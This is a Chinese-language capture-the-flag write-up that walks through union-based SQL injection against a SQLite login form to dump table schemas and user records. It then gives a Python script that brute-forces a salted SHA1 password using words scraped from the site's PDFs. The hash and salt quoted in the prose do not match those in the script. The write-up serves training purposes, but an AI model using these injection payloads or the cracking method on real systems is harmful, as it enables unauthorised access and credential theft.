一.進入實驗環境
1.先來一波常規掃描:
我們嘗試訪問login.php,查看源碼發現它給了我們一個提示讓我們傳debug=xx
果然得到有用的東西,根據語法可以知道使用的是sqlite數據庫,分析代碼可以知道通過post方式接受的參數沒有做任何的過濾,
如果id不為空就執行 setcookie函數
下面試試sql注入:
post提交 usr=' union select name, name from sqlite_master where type='table'-- &pw=1
根據返回的結果在set-Cookie中找到表名為Users,
再通過 usr=' union SELECT sql,sql FROM sqlite_master WHERE tbl_name = 'Users' and type = 'table'-- &pw=1
返回創建Users表的sql語句:
+CREATE+TABLE+Users%28id+int+primary+key%2Cname+varchar%28255%29%2Cpassword+varchar%28255%29%2Chint+varchar%28255%29%29;
將其url解碼:得 CREATE TABLE Users(id int primary key,name varchar(255),password varchar(255),hint varchar(255));
也就是Users表中 有 id,name,password,hint四個字段, 我們逐個查詢里面的值:
name = admin 。
這三個查詢也可以采用 usr=' union select 1,group_concat(name) from sqlite_master where type='table'-- &pw=1
通過 group_concat() 將查詢到的全部的值拼成字符串,避免了用 limit 的繁瑣。
password = +34b0bb7c304949f9ff2fc101eef0f048be10d3bd;
hint = my fav word in my paper。
再根據之前的代碼可以分析到:在my favorite paper 中一個詞語和Salz拼接后再shal加密的值等於 +34b0bb7c304949f9ff2fc101eef0f048be10d3bd
這里不可能一個個去找,所以看大佬的做法是自己用python爬取站點里所有pdf中的詞,
大佬的代碼為:
from cStringIO import StringIO from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter from pdfminer.converter import TextConverter from pdfminer.layout import LAParams from pdfminer.pdfpage import PDFPage import sys import string import os import hashlib def get_pdf(): return [i for i in os.listdir("./") if i.endswith("pdf")] def convert_pdf_2_text(path): rsrcmgr = PDFResourceManager() retstr = StringIO() device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams()) interpreter = PDFPageInterpreter(rsrcmgr, device) with open(path, 'rb') as fp: for page in PDFPage.get_pages(fp, set()): interpreter.process_page(page) text = retstr.getvalue() device.close() retstr.close() return text def find_password(): pdf_path = get_pdf() for i in pdf_path: print "Searching word in " + i pdf_text = convert_pdf_2_text(i).split(" ") for word in pdf_text: sha1_password = hashlib.sha1(word+"Salz!").hexdigest() if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c': print "Find the password :" + word exit() if __name__ == "__main__": find_password()
爬完之后 得到 登錄密碼為 ThinJerboa , 登錄拿到flag。